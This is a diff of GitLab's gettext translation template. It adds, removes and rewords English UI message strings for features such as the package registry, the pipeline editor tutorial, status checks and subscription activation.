@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
